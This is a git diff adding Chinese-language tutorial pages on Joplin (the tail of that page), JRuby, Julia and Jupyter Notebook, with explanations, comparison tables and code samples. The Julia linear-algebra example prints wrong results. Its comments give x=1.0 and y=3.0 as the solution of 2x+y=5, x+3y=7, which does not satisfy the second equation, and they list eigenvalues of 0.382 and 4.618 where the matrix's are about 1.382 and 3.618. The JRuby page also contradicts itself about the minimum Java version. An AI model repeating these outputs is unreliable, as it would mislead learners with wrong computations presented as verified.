+单条笔记在 UI 里的 Markdown 示例：
+
+```markdown
+# 周会纪要 2026-06-13
+
+参会：[[张三]]、[[李四]]
+
+## 结论
+
+- [ ] 跟进 API 限流方案
+- [x] 确认 Joplin 同步窗口改为夜间
+
+## 附件
+
+![架构草图](:/abc123def456.png)
+```
+
+标签在 UI 中单独管理，不会全部写进 Markdown 文件头；这与「纯文本优先」的 Obsidian  frontmatter 习惯不同，迁移时要靠导出选项或插件补齐元数据。
+
+---
+
+## 推荐工作流（零基础 7 天）
+
+| 天 | 动作 | 目标 |
+|----|------|------|
+| 1 | 建 `Inbox` + 写 3 条纯 Markdown | 熟悉笔记本与编辑器 |
+| 2 | 安装浏览器 Web Clipper，剪 2 篇文 | 理解笔记本目标与标签 |
+| 3 | 用 `- [ ]` 做待办清单 | 笔记 + 任务合一 |
+| 4 | 配置一种同步（或明确「仅本地」） | 理解 offline first |
+| 5 | `joplin export --format md` 备份 | 感受数据可搬运 |
+| 6 | 试 `curl` 创建一条 API 笔记 | 打开自动化想象空间 |
+| 7 | 浏览社区插件（日历、大纲增强等） | 按需扩展，避免一次装太多 |
+
+---
+
+## 与相近工具对比（简表）
+
+| 维度 | Joplin | Evernote | Obsidian | Standard Notes |
+|------|--------|----------|----------|----------------|
+| 开源 | ✅ AGPL | ❌ | 闭源免费 | ✅ 部分 |
+| 默认存储 | 本地 SQLite + MD | 云专有 | 本地 MD 文件 | 加密文稿 |
+| Evernote 导入 | ✅ ENEX | — | 需插件 | 有限 |
+| 块级双链 | ❌ | ❌ | ✅ | ❌ |
+| 官方剪藏 | ✅ | ✅ | 第三方 | ❌ |
+| 同步 | 多后端可选 | 官方云 | 第三方插件 | 官方同步 |
+| CLI / REST | ✅ 强 | 弱 | 插件 | 有限 |
+
+若你已从 Evernote 迁出、重视 **Markdown + 自托管同步 + 剪藏**，Joplin 往往是阻力最小的第一站；若你更需要 **wikilink 图谱**，可再把 Joplin 导出 MD 迁入 Obsidian / Logseq。
+
+---
+
+## 常见问题
+
+**Q：Joplin 和 Obsidian 选哪个？**  
+Joplin 偏「全能笔记 App + 同步 + 剪藏」，开箱自带移动端与 ENEX；Obsidian 偏「本地 MD 知识库 + 插件生态」。可以 Joplin 采集，定期 MD 导出到 Obsidian 做图谱。
+
+**Q：同步冲突怎么办？**  
+保留冲突副本笔记，手动合并后删除多余版本。避免多设备同时大规模重命名笔记本。
+
+**Q：E2EE 和网盘加密一样吗？**  
+不一样。E2EE 在 Joplin 客户端加密后再上传，网盘厂商无法读正文；网盘自带加密通常仍由厂商控钥。
+
+**Q：插件安全吗？**  
+只装来源可信的插件；插件能访问 API 与部分 UI。更新 Joplin 后偶尔需等待插件兼容新版本。
+
+**Q：命令行 `joplin` 找不到？**  
+确认安装的是桌面集成版，或参考文档安装 CLI 包；macOS 有时需把 `joplin` 链接到 `PATH`。
+
+---
+
+## 延伸资源
+
+- 官方文档：[joplinapp.org/help](https://joplinapp.org/help/)
+- 同步说明：[readme/apps/sync](https://github.com/laurent22/joplin/blob/dev/readme/apps/sync/index.md)
+- Data API：[REST API 参考](https://joplinapp.org/help/api/references/rest_api/)
+- 插件开发：[Plugin API](https://joplinapp.org/api/references/plugin_api/)
+- 社区论坛：[discourse.joplinapp.org](https://discourse.joplinapp.org/)
+- 开源介绍：[Opensource.com — Joplin](https://opensource.com/article/17/12/joplin-open-source-evernote-alternative)
+
+---
+
+## 小结
+
+Joplin 用 **Markdown 笔记 + 本地优先 + 可选多后端同步** 回应 Evernote 式需求：笔记本与标签组织信息，资源挂附件，Web Clipper 收网页，CLI 与 REST API 接自动化。它不把你的记忆锁在单一云服务里——**柜子在你家，钥匙在你手**，同步只是你把备份副本放到选定的远处货架。零基础先写起来、再配同步与导出；当你需要把外部世界持续灌进笔记本时，API 与插件会把 Joplin 从「记事本」推进成个人知识管道的枢纽。
diff --git a/src/content/docs/projects/jruby.md b/src/content/docs/projects/jruby.md
new file mode 100644
index 000000000..078b0e078
--- /dev/null
+++ b/src/content/docs/projects/jruby.md
@@ -0,0 +1,230 @@
+---
+title: JRuby — JVM 上的 Ruby
+description: 在 Java 虚拟机上运行 Ruby，与 Java 互操作、真并行线程与 JVM 生态
+来源: 'https://github.com/jruby/jruby'
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**JRuby** 是 [jruby/jruby](https://github.com/jruby/jruby) 维护的 **Ruby 语言在 JVM（Java Virtual Machine）上的实现**。它不是「把 Ruby 语法翻译成 Java 源码再编译」，而是在 JVM 上实现完整的 Ruby 语义：解析 Ruby 代码、执行 Ruby 对象模型、加载 gem，同时让你能 **直接调用 Java 类库**，或把 JRuby **嵌入 Java 应用** 当脚本引擎。
+
+日常类比：如果把 **CRuby（MRI）** 想成一辆 **自带发动机与底盘的整车**——Ruby 解释器、GC、线程模型全绑在一起，那 **JRuby** 更像把 **同一套 Ruby 驾驶舱** 装到 **JVM 这辆重型卡车的底盘** 上：
+
+- **发动机换了**——不再用 MRI 的 C 解释器与 GIL（Global Interpreter Lock，全局解释器锁），而是跑在 HotSpot / OpenJ9 等 JVM 上，享受 JVM 的 **JIT 编译** 与 **多种 GC 算法**；
+- **公路网换了**——你能直接开上 **Maven 仓库、Spring、JDBC、Kafka Java 客户端** 这条「Java 高速」，不必先找 Ruby 封装；
+- **载客规则不同**——MRI 里 `Thread` 受 GIL 限制，CPU 密集时多线程难真并行；JRuby 的 Ruby 线程映射到 **原生 JVM 线程**，可真正并行（仍要注意 Ruby 对象自身的同步）；
+- **外观仍是 Ruby**——`bundle install`、`rails server`、大部分 gem 在兼容范围内可以 **不改源码** 直接跑，这是 JRuby 与「Ruby 语法编译成 Java」路线最根本的差异。
+
+JRuby 自 2001 年起步，2006 年起支撑 **Rails** 生产部署，是除 MRI 外 **部署最广的 Ruby 实现**。当前主线版本 **JRuby 9.4** 面向 **Ruby 3.1** 兼容（并持续向 3.4 推进）；**JRuby 10** 要求 **Java 17/21+**，目标完整 **Ruby 3.4** 与 Prism 解析器。运行 JRuby 需要 **JRE/JDK 21 或更高**（以官方 README 为准）。
+
+## 为什么重要
+
+不懂 JRuby，下面这些场景很难选型或排障：
+
+- **为什么有的公司「Ruby on Rails + 巨量并发」选 JRuby**——要 JVM 级线程与成熟监控（JMX、VisualVM、async-profiler），又不想重写 Rails 业务
+- **如何在 Java 企业系统里嵌 Ruby DSL**——用 `ScriptingContainer` 或 `require 'java'` 双向调用，比 JNI 手写胶水省得多
+- **为什么某些 C 扩展 gem 在 JRuby 上装不上**——MRI 扩展直接摸 VM 内部 API；JRuby 需要 **Java 移植版** 或走 **FFI / Fiddle**
+- **JRuby vs TruffleRuby vs CRuby**——JRuby 走「完整 Ruby + Java 互操作」；TruffleRuby 走 GraalVM 多语言 JIT；CRuby 走 C 生态与最新语言特性首发
+- **启动慢、预热慢**——JVM 冷启动 + Ruby 解释层双重预热，是架构权衡，不是「JRuby 坏了」
+
+一句话：**JRuby 让你用 Ruby 写逻辑，用 JVM 扛规模、接 Java 世界。**
+
+## 核心概念
+
+### 1. Ruby 实现谱系中的位置
+
+| 实现 | 宿主 | 线程模型 | Java 互操作 | 典型场景 |
+|------|------|----------|-------------|----------|
+| **CRuby (MRI)** | 原生 C 运行时 | GIL，多进程常见 | 无（需 JNI 等） | 默认生态、最新特性 |
+| **JRuby** | JVM | 真并行 Ruby 线程 | 一等公民 `require 'java'` | Rails on JVM、Java 嵌脚本 |
+| **TruffleRuby** | GraalVM | 多线程 | Polyglot 互操作 | Graal 栈内多语言 |
+| **mruby** | 嵌入 C | 单 VM 实例 | 无 | 固件、游戏脚本 |
+
+JRuby 的定位是 **「Ruby 实现优先，JVM 语言其次」**：兼容性、gem、Rails 行为先于「像不像 Java」。
+
+### 2. 执行管线：从 .rb 到 JVM 字节码
+
+```
+Ruby 源码 (.rb)
+    → 解析器（C 移植版 / Prism）
+    → JRuby AST / IR
+    → 解释执行（前期）
+    → JIT：热点方法编译为 JVM bytecode
+    → HotSpot C2 / JIT 再优化为机器码
+```
+
+- **invokedynamic（indy）**：JRuby 大量使用 JDK 7+ 的 `invokedynamic` 做动态派发，让 JVM 能内联、去虚化 Ruby 方法调用
+- **无 GIL**：多个 Ruby 线程可同时执行 Ruby 代码；共享可变状态仍需 `Mutex`、`java.util.concurrent` 等同步
+- **预热曲线**：冷启动时「Ruby 解释 → JVM 解释 → 逐步 JIT」，峰值性能往往出现在运行一段时间后
+
+### 3. Java 集成：`require 'java'`
+
+在 Ruby 文件顶部 `require 'java'` 后，可：
+
+- 用 `java_import` 简化类名
+- 直接 `Java::java.util.ArrayList.new`
+- 实现 Java 接口：Ruby 块可 **proc-to-interface** 转成 `Runnable`、`Callable` 等
+- 在 Java 侧用 `org.jruby.Ruby` / `ScriptingContainer` 嵌入 JRuby
+
+包名前缀 `java`、`javax`、`org`、`com` 在集成上下文中自动解析，无需逐个 import。
+
+### 4. 扩展与原生库：JNR 与 FFI
+
+MRI 生态大量 **C 扩展**（`.so` / `.bundle`）。JRuby **不能** 直接加载针对 MRI 编译的扩展，而依赖：
+
+- **纯 Ruby gem**——通常可直接运行
+- **Java 实现的替代 gem**（如 jruby-openssl）
+- **FFI / Fiddle**——通过 **JNR（Java Native Runtime）** 调 C 库，比传统 JNI 胶水更可控
+- **扩展移植**——维护者为 JRuby 写 Java 版扩展
+
+选型 gem 时先查 [JRuby wiki 兼容性列表](https://github.com/jruby/jruby/wiki) 或 gem 说明里的 `java` platform。
+
+### 5. 部署与工具链
+
+| 方式 | 说明 |
+|------|------|
+| `jruby` / `jirb` | 类似 `ruby` / `irb` 的 CLI |
+| `gem` / `bundle` | 与 MRI 相同的包管理体验（部分 native gem 除外） |
+| WAR 部署 | `warbler` 等把 Rails 打成 servlet 容器可部署的 WAR |
+| Docker / SDKMAN / rbenv | 官方与社区安装渠道 |
+| Maven / Gradle | Java 项目依赖 `org.jruby:jruby-complete` 嵌入 |
+
+### 6. 版本与 Java 基线（2024–2026）
+
+- **JRuby 9.4.x**：Ruby 3.1 兼容，Java 8+，维护至 EOL 过渡期
+- **JRuby 10.x**：Ruby 3.4、Prism 解析器、**Java 17 或 21 最低**，利用 Loom 虚拟线程、Panama FFI、Leyden/CRaC 等现代 JVM 特性
+
+升级前核对：**目标 Ruby 版本、JDK 版本、关键 gem 的 Java 平台支持**。
+
+## 代码示例
+
+### 示例 1：在 JRuby 里调用 Java 标准库
+
+下面脚本演示 `require 'java'`、`java_import`、以及 Ruby 与 Java 类型之间的自动转换（`java.lang.String` ↔ Ruby `String`）：
+
+```ruby
+# hello_java.rb — 用 jruby hello_java.rb 运行
+require 'java'
+
+java_import 'java.util.ArrayList'
+java_import 'java.lang.System'
+
+list = ArrayList.new
+%w[JRuby JVM Ruby].each { |word| list.add(word) }
+
+puts "JVM: #{System.getProperty('java.version')}"
+puts "列表大小: #{list.size}"
+
+list.each do |item|
+  puts "- #{item} (#{item.class})"
+end
+
+# 静态方法
+System.out.println('来自 java.lang.System 的 println')
+```
+
+预期行为：在终端看到 JVM 版本、列表元素及类型信息。`list` 在 Ruby 里像普通对象一样用，底层是 **真正的 `java.util.ArrayList`**，可传给任何接受 `List` 的 Java API。
+
+### 示例 2：Ruby 块实现 Java 接口（嵌入与并发）
+
+JRuby 支持把 **Ruby Proc 转成 Java 函数式接口**，适合 `ExecutorService`、Swing 监听器、回调等：
+
+```ruby
+require 'java'
+java_import 'java.util.concurrent.Executors'
+java_import 'java.util.concurrent.TimeUnit'
+
+pool = Executors.newFixedThreadPool(3)
+
+3.times do |i|
+  # 块 → java.lang.Runnable
+  pool.submit do
+    thread_name = java.lang.Thread.currentThread.getName
+    puts "[#{thread_name}] task #{i} on JRuby #{JRUBY_VERSION}"
+  end
+end
+
+pool.shutdown
+pool.awaitTermination(5, TimeUnit::SECONDS)
+puts 'done'
+```
+
+要点：
+
+- `JRUBY_VERSION` 是 JRuby 提供的常量
+- 多个任务可 **并行** 执行（取决于 JVM 线程调度），无 MRI 式 GIL 串行化
+- 在 Java 应用里可用 `ScriptingContainer` 加载同一段 Ruby，无需改业务逻辑
+
+### 示例 3（可选）：Java 嵌入 JRuby 的骨架
+
+在 Java 侧（需 `jruby-complete` 等依赖），典型嵌入模式如下——便于理解「谁宿主、谁脚本」：
+
+```java
+import org.jruby.Ruby;
+import org.jruby.RubyRuntimeAdapter;
+import org.jruby.javasupport.JavaEmbedUtils;
+
+public class EmbedJRuby {
+    public static void main(String[] args) {
+        Ruby runtime = JavaEmbedUtils.initialize(new String[] {});
+        RubyRuntimeAdapter adapter = new RubyRuntimeAdapter(runtime);
+        Object result = adapter.eval(runtime.getCurrentContext(), "40 + 2");
+        System.out.println("Ruby says: " + result);
+        JavaEmbedUtils.terminate(runtime);
+    }
+}
+```
+
+Ruby 是「客人」，JVM 进程是「主人」；与示例 1、2 中 JRuby 作为进程入口相反，但互操作机制相同。
+
+## 与 CRuby 的差异清单
+
+| 主题 | CRuby | JRuby |
+|------|-------|-------|
+| 解释器 | C + YARV 字节码 | JVM + JIT |
+| 并行 | GIL 限制 CPU 并行 | 原生线程并行 |
+| `fork` | 常用（Unicorn 等） | **不支持**；用线程/进程池替代 |
+| C 扩展 | 直接加载 | 需 Java 版或 FFI |
+| 信号处理 | Unix 信号惯用 | JVM 语义，差异需注意 |
+| 启动速度 | 通常更快 | JVM 冷启动较慢 |
+| 峰值吞吐 | IO 友好 | 长运行、JIT 预热后常有优势 |
+
+迁移 Rails 应用到 JRuby 时，重点排查：**依赖 C 扩展的 gem、`fork` 架构、不可移植的 `ObjectSpace` 黑魔法**。
+
+## 常见坑与排障
+
+1. **gem 安装失败**——看是否只有 `extconf.rb` 的 C 扩展；搜 `jruby-*` 替代或 `platform: java` 变体
+2. **`LoadError: cannot load such file -- openssl`**——使用 `gem install jruby-openssl` 或 Bundler 的 java 平台锁文件
+3. **内存看起来比 MRI 大**——JVM 堆 + Ruby 堆双层；用 `-Xmx`、JMX 观察，勿与 MRI RSS 直接比
+4. **部署用 Unicorn（fork）**——改用 **Puma 多线程**、TorqueBox、或 WAR + 应用服务器
+5. **字符编码**——JRuby 在 JVM 上统一走 Java 字符模型；与 CRuby 3.x 默认行为大多一致，边界 case 查 issue
+
+## 学习路径建议
+
+1. **安装**：JDK 21+ → [jruby.org/download](https://www.jruby.org/download) 或 `sdk install jruby`
+2. **验证**：`jruby -v`、`jruby -S irb`，跑通示例 1
+3. **读 wiki**：[CallingJavaFromJRuby](https://github.com/jruby/jruby/wiki/CallingJavaFromJRuby)、[Getting Started](https://github.com/jruby/jruby/wiki/Getting-started)
+4. **互操作**：在一个小 Rails 或 Sinatra 项目里加一个 Java JDBC 调用
+5. **对比**：同一 CPU 密集脚本在 `ruby` 与 `jruby` 下用 `time` 与线程数对比（理解预热）
+
+## 和本仓库其他笔记的关系
+
+- **[mruby](./mruby.md)**：嵌入式、裁剪 Ruby，无 JVM
+- **[pypy](./pypy.md)**：另一门动态语言（Python）的 JIT 实现，问题域类似而生态不同
+- **[graalvm](./graalvm.md)** / **TruffleRuby**：同在 JVM 上，但 JIT 与互操作模型不同
+- **[openjdk](./openjdk.md)**：JRuby 的底层运行时
+
+## 小结
+
+| 要点 | 一句话 |
+|------|--------|
+| 本质 | JVM 上的完整 Ruby 实现，不是 Ruby→Java 源码翻译器 |
+| 核心价值 | Java 互操作 + 真线程 + JVM 工具链与部署 |
+| 代价 | 冷启动、预热、C 扩展生态与 `fork` 缺失 |
+| 上手 | `require 'java'` + `jruby` CLI，与 MRI 体验接近 |
+
+JRuby 适合 **已有 JVM 投资、需要 Ruby 表达力或 Rails 资产** 的团队。若你只需「语法像 Ruby 的 JVM 语言」，那是别的路线；若你要 **「我的 .rb 和 gem 尽量不动，但跑在 JVM 上」**，JRuby 仍是经过二十年生产验证的默认答案。
diff --git a/src/content/docs/projects/julia.md b/src/content/docs/projects/julia.md
new file mode 100644
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+++ b/src/content/docs/projects/julia.md
@@ -0,0 +1,194 @@
+---
+title: "Julia — 数值计算专用语言"
+来源: https://github.com/JuliaLang/julia
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# Julia — 数值计算专用语言
+
+## 一句话介绍
+
+Julia 是一门专为"科学计算"而生的编程语言——它写得像 Python 一样简单，跑起来像 C 一样快。
+
+## 日常类比：厨师 vs 专业厨房
+
+想象你要做菜：
+
+- **Python** 像是一个万能的瑞士军刀厨师。什么都能做一点，但切土豆没有专用切菜器快。
+- **C** 像是一个专业厨房里的厨师。切菜速度极快，但你得先建好整个厨房（编译、内存管理）。
+- **Julia** 像是同时拥有瑞士军刀和专业厨房——你拿起锅就能炒（解释器直接运行），但它背后其实有一个"智能助手"在你开火的那一瞬间，把锅预热到最佳温度、把火候调到最合适（即时编译 JIT），让你炒出来的菜速度和专业厨房一样快。
+
+这个"智能助手"的技术名字叫 **JIT（Just-In-Time 即时编译）**。Julia 不会在你写代码时就编译好一切，而是等你真正调用某个函数时，它才根据你传入的参数类型，生成最优化的高效机器码。
+
+## 历史背景
+
+Julia 由 MIT 的四位教授于 2012 年发布。他们发现：科学家们每天面临一个痛苦的抉择——
+
+> "是用 Python 快速原型开发但跑得太慢？还是用 C/Fortran 速度快但写起来痛苦？"
+
+Julia 的目标就是回答：**能不能既快又好写？** 答案是能。
+
+## 核心概念
+
+### 1. 类型系统 — 给数据贴标签
+
+Julia 要求你明确告诉计算机数据的"类型"（整数、小数、文字等）。
+
+```julia
+# 整数 (Int) 和 小数 (Float64)
+a = 5          # Int64 — 整数
+b = 3.14       # Float64 — 小数
+c = "hello"    # String — 文字
+```
+
+类型标签告诉 Julia："这段数据是什么样的"，这样 Julia 就能提前生成最合适的机器码，而不是每次运行时都猜。
+
+### 2. 多重分派（Multiple Dispatch）— 最核心的概念
+
+这是 Julia 最强大的特性。你可以定义同一个函数名、不同参数类型，Julia 会自动选择最匹配的那个版本来执行。
+
+```julia
+# 定义一个 greet 函数，有三种不同的"写法"
+greet(name::String) = println("你好，$name！")
+greet(age::Int) = println("你今年 $age 岁了")
+greet() = println("你好，陌生人！")
+
+# Julia 会自动根据你的参数类型选择调用哪个版本
+greet("小明")   # 输出: 你好，小明！
+greet(18)       # 输出: 你今年 18 岁了
+greet()         # 输出: 你好，陌生人！
+```
+
+类比：就像一个前台接待员，看到穿西装的客人就说"请进会议室"，看到穿运动服的就说"请换鞋"，看到小孩就蹲下来说话。同一个"接待"动作，对不同客人有不同的处理方式。
+
+### 3. 数组 — 数学上的向量与矩阵
+
+Julia 的数组从 **1** 开始编号（不是从 0 开始！），这跟数学课本上的记号方式一致。
+
+```julia
+# 创建一个向量（一维数组）
+v = [10, 20, 30, 40, 50]
+
+# 访问第 1 个元素（注意：不是 v[0]）
+println(v[1])  # 输出: 10
+
+# 创建一个 3×3 矩阵（二维数组）
+m = [1 2 3; 4 5 6; 7 8 9]
+```
+
+### 4. 包管理 — 生态系统的入口
+
+Julia 有一个叫 Pkg 的内置包管理器。输入 `]` 进入包模式，然后 `add 包名` 就能安装。
+
+## 代码示例
+
+### 示例 1：用 Julia 做线性代数运算
+
+这是 Julia 最擅长的领域。下面是一个解线性方程组的例子：
+
+```julia
+using LinearAlgebra
+
+# 我们有方程组:
+#   2x + y = 5
+#   x + 3y = 7
+
+# 写成矩阵形式 Ax = b
+A = [2 1; 1 3]    # 系数矩阵
+b = [5, 7]         # 结果向量
+
+# 一行代码求解！
+x = A \ b
+
+println("x = ", x[1])   # 输出: x = 1.0
+println("y = ", x[2])   # 输出: y = 3.0
+
+# 验证一下：A * x 应该等于 b
+println(A * x)          # 输出: [5.0, 7.0] ✓
+
+# 求行列式和特征值
+det_A = det(A)          # 行列式 = 5.0
+eigenvalues = eigvals(A) # 特征值 = [0.382, 4.618]
+println("行列式: ", det_A)
+println("特征值: ", eigenvalues)
+```
+
+**逐行解释：**
+- `using LinearAlgebra` — 引入线性代数工具箱，里面有矩阵运算函数
+- `A \ b` — 这是 Julia 的运算符重载，`\` 在这里不是"除法"，而是"解线性方程组"的意思。这行代码内部自动选择了最优算法（LU 分解）来求解
+- `det()` — 求行列式，是判断矩阵是否可逆的关键
+- `eigvals()` — 求特征值，在物理学和数据分析中非常重要
+
+### 示例 2：计算圆周率 — 蒙特卡洛方法
+
+蒙特卡洛方法是一种用"随机抽样"来解决数学问题的技术。我们可以用它来估算 π：
+
+```julia
+using Random
+
+# 基本思路：在一个边长为2的正方形内画一个内切圆
+# 正方形面积 = 4，圆面积 = π，比例 = π/4
+# 如果我们随机撒很多点，落在圆内的比例应该接近 π/4
+
+function estimate_pi(num_samples::Int)
+    count = 0  # 计数器：落在圆内的点数
+
+    for i in 1:num_samples
+        # 生成 [-1, 1] 范围内的随机 x, y 坐标
+        x = rand() * 2 - 1
+        y = rand() * 2 - 1
+
+        # 判断点是否在圆内（到原点距离 ≤ 1）
+        if x^2 + y^2 <= 1.0
+            count += 1
+        end
+    end
+
+    # π ≈ 4 × (圆内点数 / 总点数)
+    return 4.0 * count / num_samples
+end
+
+# 用 100 万次抽样来估算
+result = estimate_pi(1_000_000)
+println("估算的 π ≈ ", result)
+println("真实的 π = ", pi)
+println("误差 = ", abs(result - pi))
+# 输出示例:
+#   估算的 π ≈ 3.14068
+#   真实的 π = 3.141592653589793
+#   误差 ≈ 0.0009
+```
+
+**逐行解释：**
+- `rand()` 生成 0 到 1 之间的随机小数
+- `x^2` 是 x 的平方
+- `1_000_000` 中的下划线只是为了人类阅读方便，Julia 把它当作 1000000 处理
+- 这个算法的精度随着抽样次数增加而提高（大致以 1/√N 的速度收敛）
+
+## Julia 的四大特色总结
+
+| 特色 | 说明 |
+|------|------|
+| 高性能 | JIT 编译，速度接近 C |
+| 动态语言 | 不需要编译步骤，交互式编写 |
+| 数学语法 | 支持 `^` 幂运算、`*` 矩阵乘法、`\` 方程求解等数学符号 |
+| 多平台 | 运行在 Linux、macOS、Windows 上 |
+
+## 适合谁学
+
+如果你是：
+- 学物理/化学/生物，需要写代码处理实验数据
+- 做金融工程、量化分析
+- 搞机器学习、数据分析
+- 就是好奇"能不能有一种语言既快又好写"
+
+那么 Julia 值得你深入了解。
+
+## 下一步
+
+- 官方教程：https://docs.julialang.org
+- 在线练习：https://juliabox.com（不用安装就能写 Julia）
+- 安装 Julia：https://julialang.org/downloads
diff --git a/src/content/docs/projects/jupyter-notebook.md b/src/content/docs/projects/jupyter-notebook.md
new file mode 100644
index 000000000..51891e58d
--- /dev/null
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@@ -0,0 +1,209 @@
+---
+title: Jupyter Notebook — 经典数据科学笔记本
+来源: https://github.com/jupyter/notebook
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Jupyter Notebook 是 Project Jupyter 旗下的**交互式计算笔记本**——在浏览器里把代码、文字、公式、图表、表格揉进同一份 `.ipynb` 文档，边写边跑、边解释边出图。2001 年从 IPython 的终端交互壳起步，2014 年独立成 Jupyter（Ju + Py + R + Julia…），2015 年 Notebook 成为数据科学课堂和 Kaggle 的默认工作台；2022 年 JupyterLab 成为官方主推界面后，经典 Notebook 进入维护模式，但全球数百万份教程、论文复现包、课程作业仍以此格式流通。
+
+日常类比：
+
+> 传统写 Python 像**写 Word 文档只能打字、不能插图**——你另开一个终端跑脚本，再把输出截图贴回报告里，代码和结论永远对不上版本。
+> Jupyter Notebook 像一本**带可执行按钮的实验日志本**：每一页（cell）既能写说明文字，也能嵌一段代码；点一下「运行」，内核当场算完，结果（数字、表格、图）直接印在格子下面。改一行参数再跑，图立刻更新——不用离开这一页。
+
+最小工作流长这样：
+
+```bash
+pip install notebook
+jupyter notebook          # 浏览器打开 http://localhost:8888
+# 新建 → Python 3 (ipykernel) → 在 cell 里写代码 → Shift+Enter 运行
+```
+
+## 为什么重要
+
+不理解 Jupyter Notebook，下面这些事都没法解释：
+
+- 为什么 Kaggle 竞赛、Coursera 机器学习课、大学统计课**默认发 `.ipynb`** 而不是 `.py`——它把「叙述 + 可复现计算」锁在同一份 JSON 文件里
+- 为什么 [[pandas]] / [[matplotlib]] / [[scikit-learn]] 生态的教程几乎全是 Notebook 形态——`Shift+Enter` 逐格执行，读者可以跟着改参数、看中间变量
+- 为什么 [[streamlit]] / [[gradio]] 常被说成「把 Notebook 变成可分享 Web 应用」——Notebook 负责探索，产品化再换框架
+- 为什么 GitHub 能直接渲染 `.ipynb` 预览——nbformat 是开放 JSON 规范，diff 虽丑但可版本管理
+- 为什么 2024 年后很多人转向 JupyterLab / VS Code Notebook / [[marimo]]——经典 Notebook UI 老旧，但**格式与内核协议**仍是事实标准
+
+## 核心概念
+
+Jupyter 把交互计算拆成三层，记牢就不迷路：
+
+### 1. Notebook 文档（`.ipynb`）
+
+一份自包含的 JSON 文件，记录**所有 cell 的源码 + 已产生的输出**（文本、图片 base64、HTML 等）。线性排列的 cell 是基本单位，三种类型：
+
+| 类型 | 作用 | 快捷键（命令模式） |
+|------|------|-------------------|
+| **Code** | 可执行代码，输出显示在下方 | `Y` |
+| **Markdown** | 标题、说明、LaTeX 公式（`$E=mc^2$`） | `M` |
+| **Raw** | 导出其他格式时原样保留，Notebook 内不渲染 | — |
+
+Cell 有**两种 UI 模式**（官方文档强调）：
+
+- **命令模式**（灰框）：整格被选中，键盘管导航/删格/改类型；按 `Enter` 进入编辑
+- **编辑模式**（绿框）：光标在格内打字；按 `Esc` 回到命令模式
+
+常用快捷键：`Shift+Enter` 运行当前格并跳到下一格；`A` / `B` 在上方/下方插入格；`D,D` 删除格；`Z` 撤销删除。
+
+### 2. Kernel（内核）
+
+在**独立进程**里真正执行代码的引擎。每个打开的 Notebook 绑定一个 kernel；默认是 **IPython / Python 3 (ipykernel)**，也可换 R（IRkernel）、Julia（IJulia）等——前端只发 JSON 消息，kernel 算完把 stdout、异常、富媒体对象推回来。
+
+关键行为：
+
+- **变量跨 cell 共享**：先跑 `x = 1`，后面任意格都能用 `x`——执行顺序由你「跑过哪些格」决定，不是文件从上到下的静态顺序
+- **可中断 / 重启**：工具栏 ⟳ 重启内核 = 清空内存状态；改 import 或全局配置后常需重启
+- **输出异步流式**：长循环的 `print` 会逐条蹦出来，不必等整格结束
+
+### 3. Notebook Server（Jupyter Server）
+
+浏览器和 kernel **不直接对话**，由 Server 中转：保存文件、鉴权、启动 kernel、转发 ZeroMQ/WebSocket 消息。你本地 `jupyter notebook` 起的就是这套；JupyterHub 则在多用户集群上复用同一架构。
+
+与 **JupyterLab** 的关系：Lab 是「IDE 壳」（多标签、文件树、终端、扩展市场），经典 Notebook 是「单文档专注模式」。二者共享同一 `.ipynb` 格式和 kernel 协议；2022 年起新功能优先进 Lab，但 `jupyter notebook` 包仍维护以兼容旧工作流。
+
+### 4. 富媒体输出（Rich Display）
+
+IPython 的 **display 协议**让最后一行表达式自动渲染：Pandas `DataFrame` 出 HTML 表、[[matplotlib]] 出内嵌图、[[plotly-js]] 出可交互图。这是 Notebook 比纯终端 REPL 更适合**探索性分析**的核心原因。
+
+## 实践案例
+
+### 案例 1：从零完成一次小数据分析
+
+下面是一段典型的「说明 → 代码 → 结果」节奏，模拟你在 Notebook 里会写的三格（Markdown 与 Code 混排）：
+
+**Markdown cell：**
+
+```markdown
+## 销售数据速览
+加载 CSV，看每月总额趋势。
+```
+
+**Code cell 1 — 加载与预览：**
+
+```python
+import pandas as pd
+import matplotlib.pyplot as plt
+
+# 假设同目录有 sales.csv：date, amount 两列
+df = pd.read_csv("sales.csv", parse_dates=["date"])
+df.head()
+```
+
+**Code cell 2 — 聚合与作图：**
+
+```python
+monthly = df.set_index("date").resample("ME")["amount"].sum()
+
+fig, ax = plt.subplots(figsize=(8, 4))
+monthly.plot(kind="bar", ax=ax, color="steelblue")
+ax.set_title("Monthly Sales")
+ax.set_ylabel("Amount")
+plt.tight_layout()
+plt.show()   # Notebook 内直接显示图，无需 savefig
+```
+
+逐格 `Shift+Enter` 的好处：中间 `df.head()` 若发现日期解析错了，立刻改 `parse_dates` 重跑第一格，第二格跟着修正——**调试粒度是一格，不是整份脚本**。
+
+### 案例 2：用 `%` 魔法命令做 Notebook 特有的事
+
+IPython 在 Notebook 里提供**行魔法**（`%`）和**单元魔法**（`%%`），这是 `.py` 文件里没有的交互利器：
+
+```python
+# 行魔法：计时这一格跑了多久
+%timeit sum(range(10_000))
+```
+
+```python
+%%time
+# 单元魔法：统计整个 cell
+total = 0
+for i in range(1_000_000):
+    total += i
+print(total)
+```
+
+```python
+# 查看当前内核里有哪些变量、占多少内存
+%whos
+```
+
+```python
+# 把 matplotlib 图嵌在 notebook 输出区（现代环境常默认开启）
+%matplotlib inline
+```
+
+常用还有：`%pwd` / `%cd` 改工作目录、`%pip install pkg` 在当前 kernel 环境装包、`%%bash` 跑一小段 shell。魔法命令是 **kernel 侧能力**，换 Python kernel 才有；R kernel 对应的是 `%%R` 等不同前缀。
+
+### 案例 3：导出与分享
+
+Notebook 不仅是开发工具，也是**交付物**：
+
+```bash
+# 命令行导出为 HTML（适合邮件 / 内网分享）
+jupyter nbconvert --to html analysis.ipynb
+
+# 导出为 PDF（需本机 LaTeX）
+jupyter nbconvert --to pdf report.ipynb
+
+# 只执行不打开 UI（CI 里检查 notebook 能否跑通）
+jupyter execute analysis.ipynb --output executed.ipynb
+```
+
+配合 `nbformat` 库，还可以用 Python 批量读写 cell，做自动化报告生成——许多公司的周报流水线就是「模板 `.ipynb` + 填参 + nbconvert」。
+
+## 安装与上手
+
+**推荐路径（2026）：**
+
+```bash
+# 最小安装：经典 Notebook 界面
+pip install notebook ipykernel
+
+# 或装 JupyterLab（功能更全，同样能打开 .ipynb）
+pip install jupyterlab
+
